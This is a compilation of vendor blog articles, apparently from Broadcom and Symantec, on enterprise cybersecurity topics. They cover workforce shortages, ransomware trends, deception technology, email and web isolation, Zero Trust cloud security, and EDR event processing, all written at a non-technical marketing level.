While training more employees in cyber security is necessary, education will not solve the problem in the next decade. Nearly 8 in ten companies have trouble finding employees and outside hires that are willing to be trained in cyber security, according to ESG's Oltsik.
"There is the salary inflation—you have to increase your budgets for any kind of hire," he said. "It has increased with workload on the existing staff, and they have had to hire junior people and train them, instead of going out and finding senior people."
Yet, training does remain the most viable long-term solution. Companies should focus on having a good pipeline for training cyber security workers and an attractive career path, once they are hired, according to T. Frank Downs, director of the cyber security practice for ISACA, formerly the Information Systems Audit and Control Association.
"We need to get more people into the cyber security programs, but at the same time, the need is growing—it makes the game of catchup even harder," he said.
Part of that is advertising the opportunities, he said. Many millennials and high-school students do not know about cyber security—only about 10 percent consider it a career option, he said. Downs, who also teaches a graduate cyber security class at the University of Maryland Baltimore County, has found that, if the word gets out, companies can attract promising student from non-traditional professions.
"The best students are some of those transitioning from the weirdest places," he said. "Last year, my best student was a middle school English teacher for 11 years, until she said, `No, I'm going to do cyber.’"
Rush to Managed Services
While finding independent contractors and hiring fractional CISOs can bridge the gap between the need for security expertise and being able to hire or train workers to fill that need, many companies have instead outsourced their security to managed security service providers (MSSPs).
"When there is a lack of general bodies, people are going to go the MSSP route for basic functionality," said Ken Baylor, founder of Stealthworker, a company that focuses on providing fractional CISOs. "But that will not solve many of the specialized problems that you need a CISO for."
The biggest drawback of a managed service providers is the cost, however.
"MSSPs are expensive," Deepgram's Sypniewski said. "We are a Y Combinator startup company. We were founded in 2015, so we are a pretty small company." Contracting with a managed security service provider would have been too costly, he said.
Yet, the relative inflexibility and the one-size-fits-all approach of many MSSPs is also a major downside, he said.
"We are a heavy R&D company, and the nature of what we are building and how we deploy it and the pieces that we need to put it together—that changes a lot depending on the product we are building that month and the customers," Sypniewski said. "It would be a pain point to have to work with a managed security company."
The biggest drawback of a managed service providers is the cost, however.
Whether hiring and training, using independent contractors or full-on managed service providers, companies are finding ways to bridge the gap in availability of cyber security experts. Companies that have seemingly solved the issue, however, still need to plan for the future in case their coveted cyber security professionals decide to take their talents elsewhere.
"All these companies are fighting over the same people, and it's getting gnarly," ISACA Downs said. "Don't assume that once someone is hired, they are not going to leave. If you use a person as a part, you shouldn't wonder why they leave when another company comes and offers them more money."
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How Cyber Security is Changing in the Post-Pandemic Era
Broadcom Software suggests cyber security is a MUST for every enterprise
The last few years have been anything but normal for everyone. As we know at Broadcom Software, even as enterprises try to put a couple of abnormal years in their rear-view mirror, the rampage of ransomware continues to wreak havoc and requires continued focus and diligence.
The ransomware threat now dominates every security discussion I have with customers. Their concerns are justified: ransomware gangs are more sophisticated, determined and eager than ever to extract huge ransom payments. They are also deploying surprisingly creative tactics. Gone are the days of merely encrypting or stealing files – now the bad guys are leaking stolen information to put added pressure on their victims.
The goal: a BIG payout. For example, one ransomware gang publicly disclosed a CEO’s affair, complete with incriminating pictures. Another gang auctioned off company files to the highest bidder, with CNA Financial Corp. reportedly paying out $40 million to regain control of its network.
Meanwhile attackers are using different techniques to penetrate enterprise networks. In the last year, there’s been a pronounced shift to mass scans of the Internet to search out published server vulnerabilities as a way to get into enterprise environments. That’s partly in response to software vulnerabilities released in those servers. But it’s also an important reminder that attackers are relentless in their pursuit of new and softer targets.
They also are working harder to evade defensive measures when they get onto an endpoint. Traditionally, attackers would just drop their malware on the endpoint and run it. Recently, we came across a case where the attackers had installed a virtual box onto the endpoint and then downloaded a disk image. When the virtual machine started, the malware was loaded only inside of the virtual machine. The virtual machine had shared folders with the host so when the ransomware ran inside of the virtual machine, it was able to encrypt files.
When attackers penetrate an enterprise defense, they now recognize that they no longer have to encrypt every machine on a network. Instead of encrypting 10,000 computers, they can opt to take over the domain controller, the ESX servers and the virtual machines and encrypt the virtual machines’ images. This strategy has paid off for the bad guys as more than a few enterprises have been willing to pay ransoms to regain control and avoid the hassle of reimaging all their machines.
Choosing Their Victims
Over the years, the attacker underground has changed how it approaches target selection. In the past, we saw far more indiscriminate targeting – basically gangs went after anybody they could in a bid to find their way into enterprises.
In the post-pandemic era, attackers are more closely evaluating their targets to calculate the return on their time. So they’re investigating how much a company is worth? Is it listed on the stock market? How much cash do they have on hand? Essentially, this advance scouting work informs who makes the list and helps determine the size of the ransom attackers will demand from victims.
Trans-national Threats
As businesses look to shore up their defenses, they should know who they are up against. While ransomware attacks may come from anywhere, both security companies and government agencies have found evidence linking many attacks back to Russia.
The nature of the relationships between these ransomware gangs and the Russian government is opaque, but the persistence of the activity suggests, at a minimum, an indifference by the government to the impacts on the critical infrastructure and key industries of other countries or, at worst, direct government complicity if not sponsorship, but with a measure of deniability.
Even before the Ukraine invasion, Western nations had little luck convincing Russian authorities to crack down on ransomware gangs operating within its jurisdiction. Now, there’s even less chance of real progress.
Regaining Your Data
Once an attack takes place, options are limited. Ransomware crews have a secure encryption mechanism that security companies can’t break. So, when a business falls victim, it faces an impossible decision: shut down or pay? Often, management judges that it’s in the best interests of the company to accede. But there’s no guarantee the attackers won’t return a month later and ransom their data again.
If an organization is lucky enough to isolate the ransomware, it can restore its systems using offline backups that the ransomware crew didn't delete or corrupt. But even with backups, the process of restoring data is cumbersome and time consuming. Some organizations may conclude it’s preferable to pay the ransom.
C-level Support
If you’re looking for a ray of sunshine, it’s this: cyber security is now part of the C-level conversation. That wasn’t necessarily the case prior to the pandemic, although high-profile hacks in recent years have underscored the potential damage to a company’s reputation and bottom-line.
There’s no shortage of worst-case scenarios. To consider just one example, Colonial Pipeline Co., which operated the biggest fuel pipeline in the U.S., suffered a six-day shutdown last year after an attack by the Russian ransomware gang - Darkside. The upshot: higher prices, gas stations without fuel and criticism of the company’s pipeline security standards after the hack.
That’s why cyber security’s no longer a tough sell when the CISO presents to the boardroom. If in previous years cyber security was viewed skeptically as a big cost, it’s now seen as money well spent. Even if ransomware ultimately retreats, we’ve passed a digital Rubicon when it comes to how security is funded and prioritized within the corporate world.
Contact us here to learn more about how Broadcom Software can help you with your cyber security strategy.
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How Deception is Going to Reshape Endpoint Security
Deception technology at the endpoint constitutes a new way to turn the tables on attackers. Here’s why.
Over the centuries, practitioners of war and politics could find a textbook retelling of the art of deception in the pages of the Iliad.
Homer’s timeless epic recounts how, after 10 years of military stalemate, the Greek host one day disappeared from the shores of Troy without leaving a trace - other than that giant wooden horse.
We all know what happened next.
Over the years attackers have deployed a variety of deceptive tactics to penetrate corporate networks. Recall that hacker Kevin Mitnick even wrote a book chronicling his serial exploits called “The Art of Deception.”
There’s a lesson for security practitioners. If attackers can use deception, why not defenders?
Locked in a years-long war of attrition with malicious hackers, a little trickery, properly employed, can mitigate the damage caused by an endpoint breach and help turn the tables on the bad guys.
There’s a lesson for security practitioners. If attackers can use deception, why not defenders?
Laying the Bait
As the threat constellation continues to develop in new directions, attackers are often able to escape the notice of existing defensive measures. For instance, intruders might gain access to an organization’s network by stealing user credentials or by exploiting tools that are already installed on targeted computers. These tactics often don’t rely on loading malware and don’t create new files on the device’s hard disk. All the more reason for new ways to shut down potential attack vectors they are using.
Deception technology at the endpoint constitutes a new way to turn the tables on attackers. Looked at another way, deception picks up where an organization’s other security technologies leave off, providing offensive tactics that can help uncover the presence of an attacker.
Cyber security deception first gathered momentum in the 1990s when organizations began deploying simple network “honeypots” to confuse malicious hackers. These honeypots were essentially fake lures deployed as counter-weapons. They would present a believable, isolated subnet – complete with phony credentials, databases, web servers, and vulnerable systems - that were usually good enough to fool novices, though not sophisticated attackers.
But deception also required a lot of time and expertise to deploy, manage and maintain. What’s more, adding deception to individual endpoints was complicated, especially within large, distributed environments where there were firewalls, proxies, network address translation or virtual private networks.
However, deception is now an integrated capability within the Symantec Endpoint Protection (SEP) family, allowing defenders to detect and identify attackers during the early stages of a breach. This not only offers enhanced visibility into attacker intent, but it offers organizations to deploy deception at scale. Indeed, Symantec is securing more than 175 million endpoints across the globe. Customers can now work with Symantec to turn on deception and deploy the high-interaction bait that is integrated in the SEP family to improve their attack detection.
You are collapsing the time that it takes to detect attackers from months to a matter of minutes. Deception offers a completely different way to deal with stealthy attacks. The challenge today is that the average time attackers may be on your network before they get detected is so long. You don’t know what they are doing while they may be carrying out reconnaissance of your entire infrastructure, or doing lateral movements mapping out your file structure.
Until now, infiltrators could quietly navigate through a victim’s network as they conducted reconnaissance. Sometimes this could last weeks, or even months. A recent Ponemon Institute report found that the average attacker spends 191 days on a network before they get detected.
But SEP gives organizations a way to trick attackers into giving up their locations. Security managers already know the location of their critical assets.
They can exploit that knowledge to dupe attackers by leaving fake assets for them to target. The more believable the fake asset, the better chance it has to lure an attacker into interacting with it instead of the real resources. These could be fake files, credentials, network shares, cache entries, or endpoints that entice attackers to come out into the open. In fact, an administrator can quickly and easily place a large amount of bait in their enterprise to deceive an attacker into revealing themselves.
Any engagement with these assets triggers an alarm that indicates the presence of an attack. At that point, system administrators can swing into action to block the intruder’s progress.
The challenge until now has always been how to make it easy for customers to deploy and the expertise which was required. Very highly-skilled customers and nation states were the ones who primarily used deception technologies before. We’ve solved that challenge and now we’re going to bring this capability to the masses.
For more information about deception technology, check out this Symantec white paper as well as our product page for more about Symantec Endpoint Protection 14 where you can learn more about our offerings.
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How Digital Transformation is Challenging Security
The traditional bounds of the enterprise are getting upended, presenting IT leaders with new, sometimes overwhelming security challenges
Digital transformation isn’t worth doing if it fails to disrupt business as usual. IDG research shows that nearly 90% of businesses plan to adopt a digital-first business strategy, though only 44% have reached that lofty goal. But not very much fuss has been raised about the downstream impact of digital initiatives on cyber security.
Yet, consider the traditional business network perimeter. The corporate network was behind a firewall and thought to be mostly secure while virtual private networks acted as a bridge to the outside world. But the processing that used to happen inside that fortified space is now mostly outside, thanks to IaaS Platforms such as AWS or Microsoft Azure, as well as SaaS, such as Office365, SalesForce, ServiceNow and countless other Cloud-based services. Managers today often prefer mobile apps to access corporate data or even to manage their enterprise activity from a mobile device rather than from a corporate-managed personal computer.
With digital transformation upending the traditional bounds of the enterprise, how are IT leaders grappling with the security challenges? The short answer is they’re overwhelmed.
That’s a game changer for organizations and it’s a monumental challenge for most security teams. An organization today might decide to expand its operations into a new region of the world and rather than give IT a few months to set up a data center, it would be expected to virtualize your network and switch on new service in a day or two at most. And then you must defend this new digital outpost.
With digital transformation upending the traditional bounds of the enterprise, how are IT leaders grappling with the security challenges? The short answer is they’re overwhelmed. Just last year alone the average number of security breaches rose by 11 percent, according to Accenture and Ponemon Institute’s Ninth Annual Cost of Cybercrime Study. Hackers know that your available attack surface won’t be decreasing anytime soon.
Feeling Your Pain
On the whole, digital transformation promises to make organizations more customer focused, efficient and insightful. If the side effect is a bit of pain for the security team — should anyone lose sleep over this? Maybe not sleep, but here’s a few important considerations:
Pain 1: Complexity- If you’re deploying old security tools, it’s going to be difficult to keep up with the pace of modern, agile environments. You either end up slowing down business growth or sidelining your career. Your competitors may already realize this. You must adapt to the increased complexity, and the reality that your perimeter stops being a ‘control point’ for applications, which could be located anywhere in the cloud.
Pain 2: Security- Your organization is heading to the cloud because it’s key to its digital transformation plans, regardless of whether or not you take steps to improve security. If anything, expect management to say the priority is opening a new revenue stream – there’s no stopping that train. While you will certainly bake in security, the key is to avoid adding more vulnerabilities while you modernize your defenses.
Pain 3: Costs- Has anyone baked the cost of higher security into the new digital business transformation plan? Unfortunately, you can’t float a plan stating that due to this increased complexity, you must employ 5x more IT specialists – then it won’t fly. The whole idea around digital transformation is it becomes accessible because it’s driving costs down.
Your Next Move
IT operations are experiencing a change we call ‘shift left’. When responsibility for business processes is placed in the hands of business unit engineering teams, that’s a shift from the days when a data center played host and the IT team deployed the app and managed access. Now, all of this responsibility may be decentralized, everything is software defined, and it works more effectively than before. Except, of course, that security responsibility also ‘shifts left’ — and must be baked into the development process.
This is the time to let go of the reactive approach to security that has been predominate in the traditional IT world, where organizations would think about how to secure apps late in the application deployment cycle. The shift-left approach, popularized in DevOps, effectively forces software testing much earlier in the software delivery lifecycle. In addition to reducing product defects, it serves as a force multiplier by giving application developers a familiar platform inside their existing processes to ensure the security of their deliverables, while processes are tied into it as well.
How Digital Transformation is Challenging Security
When you can embed security into your development process in an automated manner it greatly improves the business value of your SecOps operations. Once you have the tools that enable your developers to embed and automate the placement of security measures in business processes, you know that when you switch on a new app or a new data center, it’s already secure.
Unfortunately, organizations that fail to adopt new security tools or realign their thinking about mastering complexity will lose the alluring benefits of digital business transformation.
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How Do You Protect Users from Themselves?
As organizations struggle with an uptick in weaponized emails, here’s how they can prevent malicious attachments from wreaking untold damage
As they seek to distribute ransomware and other malware, or to gain access to sensitive information and systems, cyber criminals have long been able to count on a huge community of allies: unwitting users. Despite the well-known risks associated with weaponized emails, some percentage of users will inevitably click on unfamiliar URLs in email messages or open email attachments that they shouldn’t.
Moreover, these users often click on suspicious links hidden within attachments, which look harmless, but open up phishing pages or websites hosting malware. Attackers use these complex threats to bypass detection, since many traditional email security solutions fail to stop them.
To counter these user-enabled email threats, Symantec developed our Email Threat Isolation (ETI) technology. Initially designed to protect users who inadvertently clicked on malicious links, we’re excited to announce that our ETI solution can now protect users from potentially malware-laden email attachments. This expanded protection is proving critical because attackers have started to favor email attachments as an infection vehicle, and while Symantec already blocks malicious attachments, there can be malicious content or links within attachments that evade detection.
To counter these user-enabled email threats, Symantec developed our Email Threat Isolation (ETI) technology.
This shift isn’t surprising, given that dangerous attachments can be relatively hard to identify. Rather than distributing easy-to-spot executables, attackers can hide scripts and other malware within innocuous files. To this end, attackers are increasingly inserting malware within Microsoft Office files, with the malware activated when users enable macros or open PDFs.
In fact, Microsoft Office files accounted for nearly half (48%) of all malicious email attachments in 2018, up from just 5% of all such attachments in 2017. No surprise then that our telemetry shows Microsoft Office users are the most at risk of falling victim to email-based malware.
To protect users and their organizations from risky email attachments, our ETI technology renders these attachments in web sessions, which are executed in a secure and disposable container. This is essentially the same approach that we use when dealing with embedded URLs – by virtualizing browsers in a container where we can safely execute links or attachments. This isolation approach allows us to identify and block any dangerous content, passing along only safely rendered content to users.
In addition, ETI technology isolates all suspicious links hidden in email attachments, since these documents are executed in a secure web container that contains all malicious activity. As a result, embedded links that lead to phishing sites or webpages hosting malware cannot trick users into handing over their credentials or accidentally downloading ransomware.
Broad deployment of our ETI technology could all but eliminate the risks associated with malicious links and attachments.
At the same time, ETI technology doesn’t impact users, as opening up attachments and clicking on links within this environment is performed seamlessly. All of this is done without blocking the entire email or making any modifications to the original attachment. Thus, Symantec is the first and only vendor in the email security industry to prevent suspicious links within email attachments without compromising the user experience.
Broad deployment of our ETI technology could all but eliminate the risks associated with malicious links and attachments. That would have a huge impact across the cyber security landscape because of cyber criminals’ heavy reliance on email to distribute malicious payloads of all types.
This is certainly true for ransomware attacks. According to the Symantec's 2019 Internet Security Threat Report, email campaigns that used spear phishing and other methods to ensnare victims became the primary method of distributing ransomware last year.
Identifying and countering these ransomware attacks has become particularly important for enterprises. While overall ransomware infections were down 20% in 2018 compared to 2017, enterprise infections were up by 12% and accounted for 81% of all ransomware infections last year.
When examining the success of email-based exploits – ransomware or other – it isn’t fair to simply blame unthinking and careless users. Cyber criminals now use sophisticated social engineering techniques and other methods that can sometimes fool even cautious recipients into believing that malicious emails are safe and legitimate.
That’s why it’s so important to go beyond simply educating users about safe email practices. It’s also necessary to implement defenses against the inevitable slips. To that end, we’ve made it simple for organizations to deploy our ETI technology, offering it as either an add-on to the Symantec Email Security solution or as a standalone service, to add a critical layer of protection to third-party email security solutions.
However it’s deployed, our enhanced ETI offering now serves as a critical component of the comprehensive Symantec Integrated Cyber Defense platform. It complements our Web Isolation technology, our Mirror Gateway, and our full portfolio of industry-leading cyber defense products and services.
To learn more, read our Email Threat Isolation Solution Brief or contact your local Symantec sales representative.
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How Federal CIO Suzette Kent Is Reimagining the Cyber Workforce
Changes are underway to shorten the time needed to recruit new technical talent to government
It currently takes the federal government an average of 106 days to fill a vacant information technology position, a number that makes US Chief Information Officer Suzette Kent says makes her shudder.
To put that number in perspective, if a position became open on January 1 it would not be filled until April 16. And that number is, of course, just an average. Some positions, especially those that require special skills, can take much longer.
But changes are underway. Kent noted during her presentation at the recently-concluded Symantec Government Symposium that the Office of Management and Budget (OMB) is in the process of shortening that time. The agency recently issued a proposed rule that would give agency heads direct hiring authority for hard-to-fill IT positions. Kent also said the administration expects to issue guidance to help agencies standardize expectations for the IT workforce.
“We’re going to continue to make significant investments in the federal workforce in this space, from entry [level] all the way through our lead executives,” she said.
The Changing Workforce Conversation
While Kent and OMB have a plan to more quickly fill positions and recruit new technology talent into government, an idea she has pitched aims to change how the technology workforce is used. She wants to find ways to rotate private sector talent into short-term stints of federal service.
“The opportunity that we have right now going forward is how we look at risk, and how we deploy different individuals, definitely in the federal government, but also how we continue that dialogue with private sector, because we are fighting for the same people. Both sides are very committed to that movement back-and-forth,” Kent said.
This is a key part of the cyber security conversation. The Symantec Government Symposium discussed how to redefine cyber security in government, and that must start with a look at its people. While federal agencies have made great strides in cyber defense over the past decade, cloud computing and mobility, among other technological changes, have altered the jobs of cyber security professionals.
As such, government leaders like Kent – as well as the government’s industry partners – must change how they think to address these problems. Kent’s idea is a strong one. Government and industry typically compete for the same technology talent.
By trying to create an employee-sharing program, government can leverage some of this industry talent. This program, and others like it, must still make it through the lengthy government approval process, but Kent and her team have made a concerted effort to explain the benefits of a strong technology workforce. Making cyber talent a priority is critical to success.
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Symantec Government Symposium
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How Immature Security Practices Complicate Cloud Migration
The “castle-and-moat-style” security model that prevailed a decade ago can’t cope with the new demands of the cloud era
Cloud migration is in full swing at most enterprises, fueled by the desire for a more flexible and accessible computing model as well as on-going digital transformation. Yet security practices are dangerously out of step with the shift to the cloud paradigm, organizations are clearly struggling to stay abreast of the evolving attack surface while experiencing elevated risk of exposure to new exploits.
According to Symantec’s inaugural 2019 Cloud Security Threat Report (CSTR), over half (53%) of computing workloads have shifted over to the cloud, and respondents estimate that their organizations’ use of cloud applications will grow by 22% over the next year.
With cloud adoption continuing at a fevered pitch, enterprises are having difficulty dealing with the mounting complexity of multi-cloud and hybrid cloud and on-premises environments. They are also grappling with loss of control, especially as it relates to security: The Symantec CSTR found that 54% of respondents say their organization’s cloud security maturity is simply not able to keep up with the rapid expansion of new cloud apps.
Specifically, lack of visibility over cloud workloads is a huge problem for the majority of organizations (93%) and nearly as many respondents (83%) report negative impacts due to an incomplete view of their cloud landscape. Even worse—nearly two-thirds (65%) of CSTR respondents feel that the increasing complexity of their organization’s cloud infrastructure is opening them up to a host of new threats, including lateral movements and cross-cloud attacks.
The Symantec CSTR found that 54% of respondents say their organization’s cloud security maturity is simply not able to keep up with the rapid expansion of new cloud apps.
The Perimeter is Dead
At the root of the problem is organizations’ continued reliance on the traditional, perimeter-based security model. This “castle-and-moat-style” approach employs firewalls and other technologies to authenticate and determine trust at the edges of the network; once users and devices are deemed trustworthy, they are given insider access. Yet the rise of the cloud and ubiquitous mobility lays to rest the concept of “inside” and “outside” the network and showcases the reality that threats exist everywhere, thus the requirement for a new security paradigm.
It used to be that everything inside the corporate network was considered good and should merit trust while everything that was outside on the Internet was all bad and should be distrusted. Of course, that’s no longer the case. Consider a device that picks up malware on the outside and then is allowed back on to the corporate network because it’s a trusted entity, setting off a lateral movement attack that spreads throughout the enterprise. The fact is that perimeter-based security has become a liability because it’s mushy on the inside and threats are taking advantage of that.
Instead of a dated perimeter approach to security, organizations should embrace a modern architecture built around the Zero-Trust access model to accommodate an increasingly mobile- and cloud-centric world. With Zero Trust, there is no longer a perimeter to safeguard, but rather a world in which threats come from every direction thus requiring granular protections at the data level as well as controls implemented across all points of access, including end points, cloud workloads, and corporate networks.
In a Zero Trust security architecture, users are granted least-privileged access to resources, that is the minimum they need to be productive. Assets that are not pertinent to their job function are invisible, and behavior is assessed to identify unusual behavior and respond to risks.
In addition to an integrated security platform that spans the full host of capabilities from web and email gateways to data loss prevention and cloud application security, enterprises also need to take advantage of artificial intelligence (AI) and machine learning capabilities. This allows them to automate whenever possible and assists in enforcing policies that maintain compliance across web, cloud, and email traffic.
At the same time, organizations need to bolster their security postures through embrace of other cloud security best practices, including the formation of a Cloud Center of Excellence (CCoE) and by embracing a shared responsibility model.
Cloud complexity has most security organizations scrambling to keep up, but it doesn’t have to be that way. By shifting to a Zero-Trust model supported through an integrated security platform, organizations can reap the benefit of the cloud without risking significant exposure.
Register for July 25 Webinar: Understand the Latest Cloud Security Trends
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How IntelliFilter Enables Fast, In-Depth Analysis of Endpoint Activity
Symantec Labs has developed new algorithmic techniques to offer protection against threats that evade standard detectors
If you’ve paid attention to the security software market in the past few years, you’ve heard of a class of products known as Endpoint Detection and Response, or EDR.
These products go beyond traditional endpoint protection solutions and provide visibility and tools to help discover and remediate advanced threats that may not be stopped by traditional anti-malware or intrusion prevention software. We’re talking here about adversaries that don’t rely on typical, mass-deployed malware or hacking toolkits.
Rather, they target a specific organization using custom tools and techniques specifically designed not to trigger existing detectors. EDR technology helps threat hunters within an organization look for these stealthy attacks by monitoring, recording, and analyzing fine-grained behavioral information about every process running on the endpoint.
Access to this rich information allows security analysts to scrutinize behavior on endpoints across the organization, facilitating the forensic investigation and detection of malicious behavior that might otherwise fly under the radar. But efficiently processing a vast quantity of behavioral data is challenging.
Technology developed in Symantec Research Labs enables the processing and analysis of this high-volume, information-rich stream of events while having minimal impact on the performance of the endpoint. The component that processes the stream on the endpoint is called the IntelliFilter.
The end result is a system that can evaluate thousands of complex pattern specifications on a real-time stream of thousands of fine-grained behavioral events per second — all without making a standard laptop break a sweat.
We borrowed an old technique, commonly used in business rules systems, called the Rete algorithm and adapted it to our purposes. In its basic form, the Rete algorithm is a technique for translating a set of declarative pattern-matching rules into an executable discrimination network that applies conditional tests to “facts” passed through the network.
In the traditional setting, these facts would be drawn from a knowledge base representing the state of the world and matching a rule would cause a business rules planning system to take an action, for instance automatically re-ordering inventory, or adding a newly derived fact to the knowledge base. In our EDR setting, the facts are the fine-grained behavioral events that are generated on an endpoint, such as a user logging into the system, or a process writing to a particular registry key.
The action taken upon finding a matching pattern might be generating an alert for a security analyst or updating behavioral summaries that can be used for machine learning or anomaly detection.
The beauty of the Rete algorithm is its ability to avoid redundant computation by (i) finding common conditions from different rules in a large rule set and evaluating them only once; and (ii) tracking sets of facts that partially satisfy a rule in preparation for the arrival of a fact that completes the match.
The IntelliFilter component of Symantec’s EDR maintains these benefits, while adapting the algorithm to operate efficiently in a streaming setting where potentially thousands of behavioral events pass through the discrimination network every second. Our enhancements greatly reduce memory usage through specialized scheduling and storage logic that retains events only as long as the rules require, and optimizations that vastly reduce the size of the discrimination network by identifying opportunities for node reuse in the portion of the network that joins multiple events together.
The end result is a system that can evaluate thousands of complex pattern specifications on a real-time stream of thousands of fine-grained behavioral events per second — all without making a standard laptop break a sweat.
While the IntelliFilter allows Symantec EDR to find patterns based on specified rules, this is not just another set of “signatures” for finding malware. Why? First of all, the granularity and quantity of the data being processed is exceptional. Every file write, network connection, registry modification and more is analyzed for every process on an endpoint.
Furthermore, the expressive language we designed to write IntelliFilter rules allows an analyst to build up high-level behaviors, within or across processes, by joining together these low-level events. Some of these high-level behaviors may generate a security or informational alert. But we don’t stop there. Non-alerting behaviors can be tracked and summarized, creating a sort of behavioral fingerprint for processes and system users. These fingerprints are concise but contain a wealth of information about how programs and users behave. This presents new opportunities for viewing, sharing, and analyzing endpoint activity.
IntelliFilter gives us a flexible engine, capable of real-time pattern detection and summarization over the high-volume stream of granular events generated on an endpoint every second. We at Symantec Research Labs are excited to wield this powerful tool to fashion new security analytics that uncover stealthy attacks perpetrated by advanced adversaries.
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How Juniper Networks is Innovating Networks with Broadcom
Connected by Broadcom
Broadcom is connecting everything. Our technology touches everyday life — from the latest mobile and home devices to the Cloud, to service provider networks, to software and critical infrastructure. The Connected by Broadcom interview series features discussions with enterprise leaders who partner with Broadcom to take their business to the next level.
Early this year, I had an opportunity to sit down with Rami Rahim, the CEO of Juniper Networks, to talk about the view from the CEO’s office, the role of innovation and how he was able to manage the company through one of the most demanding eras any leader could ever imagine.
During a 25-year career at Juniper where he was employee No. 32, Rami has had a front row seat to observe how advanced networking and connectivity solutions would come to reshape how we worked and lived.
For the last two decades, Juniper has been one of the leaders of the networking industry, providing technologies that underpin the networking infrastructures for countless service providers, enterprises, and data centers around the world.
Vijay Nagarajan, Vice President, Wireless Connectivity Division at Broadcom Inc. and Rami Rahim, CEO at Juniper Networks
Below are some key insights from our conversation, and you can listen to the entire interview here as well:
Making Things Simple
In Rami’s first few years at Juniper, the company worked primarily on building solutions to help the internet scale. That required ongoing innovation in the space simply to keep up with the insatiable demand back then. Today, the top challenge has shifted, with customers needing help solving the technological complexity that threatens to slow down their operations – or even halt progress entirely.
This is where what Rami dubs “Experience-First Networking” enters the picture. In brief, the idea is to radically simplify every aspect of the job from design and installation: configuring, operating, and visualizing various facets of the network. Juniper now strives to build networks that not only connect themselves, but that are themselves cloud-connected and supply the cloud with valuable data. That precious data trove will inform in real time, whether the network is actually performing to the required standards.
Strategic Partnership with Broadcom
The strategic nature of a many years-long partnership with Broadcom has paid major dividends at Juniper. When looking at his objectives, Rami wanted a strategic, innovative semiconductor partner with sufficient scale and breadth to support a full suite of solutions for Juniper’s customers, particularly in the enterprise service and cloud provider sectors.
As Rami put it, Juniper is a technology company “and so we're looking for partners that invest significantly in R&D and manufacturing to enable the kinds of silicon solutions with the most advanced process nodes that can keep up with the scale and performance telemetry capabilities of all of the products that we are bringing to market.”
What's Next on the Network Horizon?
If there’s one certainty about the technology business, it’s that people will always want to push the envelope of what is normal in network performance. So with a team of strategists and technologists, Rami has put a priority on innovation, especially with regards to the internet and networking. How these trends will interact and what the networks of tomorrow will look like are still being developed. Still, Rami does have firm ideas about the general contours of that emerging future. When I asked Rami what his vision for networking will be as the internet evolves to its next generation, his response was simple: it’s to get it out of the way.
It might sound odd for the leader of a multi-billion-dollar networking company to be talking about moving their products out of the spotlight. But he is really highlighting his goal to make networking speeds and feeds seamless for customers, so they can focus on the outcomes and experiences.
Removing the complexities and limitations for humans trying to keep up with our insatiable demand for network services is a noble, holistic vision indeed.
It doesn’t matter if we’re talking about Web3, Metaverse, cryptocurrency or any other topic, the network isn’t actually going away. It just might be a little less visible.
When it comes to the actual experience of working with networks, Rami paints an optimistic picture, saying that we're just scratching the surface. For example, AI engines are dramatically simplifying the experience for network operators as they push that technology further into the future to make things better. His promise: expect more innovation from Juniper around automation, AI, and machine learning which will dramatically transform the experience of networks and removes lingering bottlenecks.
To help with that continued innovation, Juniper works closely with Broadcom, benefitting from a broad portfolio of solutions and a company that powers the most complex IT environments in the world. Broadcom products have been designed and optimized for end-to-end integration and deliver the best-possible performance. That’s Connected by Broadcom.
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How Machine Learning Gains New Insights from Network Logs
There is simply too much data for human analysts to work through and this is where machine learning-based log processing is uncovering hidden threats
Network logs feature everything one might think: a list of all the traffic, hits, pings, and other activity that occurs. The data tells a story of what happened on the network, but sometimes those messages can be difficult to decipher because of the sheer volume of data. With so many data entries, important events can sometimes be missed, not to mention larger trends that can signal malicious activity.
That is where machine learning-based log processing can bring value. This tool, part of Symantec Endpoint Security, uses artificial intelligence and machine learning methodologies to make sense of the data kept in these logs. Not only can machine learning help identify past incidents but can be trained to spot different trends and patterns, and alert those running the network. Symantec’s Risk Teller, in particular, shows how much more this technology can do.
Innovation and Machine Learning
Federal agencies have long used systems management tools to help make sense of this log data. These existing systems, though, only provide a partial solution. There is so much log data created that agencies need larger analytic platforms to truly make sense of it. There is simply too much data for human analysts to work through.
This is where machine learning-based log processing can provide value. Machine learning-based log processing serves as a multi-layered approach to threat assessment, taking into account a file’s static attributes, dynamic behaviors, and its relationships with other files to draw deeper insights.
The insights may include past breaches, unusual behavior that is cause for concern, or potential risk areas that have not been exploited yet, but may cause a problem in the future.
The machine learning aspect is key. Machine learning technologies can be “taught” to look for certain trends based on past data models. These templates can be used to find vulnerabilities in current data. Machine learning can also take current data threats and create models to find similar vulnerabilities. It provides a new way to look for potential risks, helping agencies avoid breaches and negate malicious activity.
The Innovation Push
Machine learning-based log processing is just one area of innovation in the cyber security space. Symantec detects advanced attacks by generating huge amounts of telemetry data and running advanced analytics on it. And, according to a recent Symantec blog post, “Machine learning makes our endpoint solutions that much smarter. It makes our network solutions smarter. But we're also leveraging intelligence from all our products to create a Security Operation Center (SOC) workbench where we can help the SOC analysts be almost superhuman with bionic intelligence reinforced by machines operating at a scale that people can't really wrap their head around. By doing all of that we multiply the effectiveness of everybody on our Symantec team.”
As hackers and malicious actors continue to innovate new ways of attack, so must those that defend those networks. Sadly, there is never an end state for cyber security and those that hold lots of valuable data must continually work and make improvements to keep that data secure.
Innovation in the cyber security space can help agencies maintain their security posture. Hackers know how to defeat older defense technologies. It is up to agency IT professionals to leverage new innovations in cyber security to keep their data secure, and incorporating machine learning capabilities will serve as a force multiplier to aid security analysts in their fight against hackers.
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How One Healthcare Leader Locked Out Ransomware with Web Isolation
Web isolation technology gives enterprises a powerful tool against ransomware, applying a zero-trust approach to web security
WannaCry became a shining example of the potential damage employees can do to an organization’s network.
In May 2017, the WannaCry ransomware attack struck across the globe, which quickly infected some 200,000 computers in 150 countries, and virtually shut down multiple organizations including several dozen regional health authorities within the National Health Service of the United Kingdom. Ransomware attacks such as WannaCry can be even more devastating to healthcare organizations as it can bring all operations and patient care to a halt, potentially impacting patient safety.
Though the WannaCry attack did extensive damage within many organizations, a leading national healthcare provider used this as an opportunity for the institution’s security team by focusing senior leadership’s attention on the problem of threats entering the enterprise network through employee internet use.
The organization's Chief Technology Officer (CTO) used the momentum generated by the WannaCry alarm to address the larger issue. "I don't know whether personal use of dodgy internet sites is first or second in the list of vectors that put us in firefighting mode, but it is absolutely either first or second," said the CTO, who requested that the identity of his organization remain unidentified. "We were looking for a mechanism to get a very strong control framework around that vector—especially webmail and social media—without taking away our employees' privilege of appropriate internet use. That's important, because the more draconian approach of just locking the world down doesn't work very well for us."
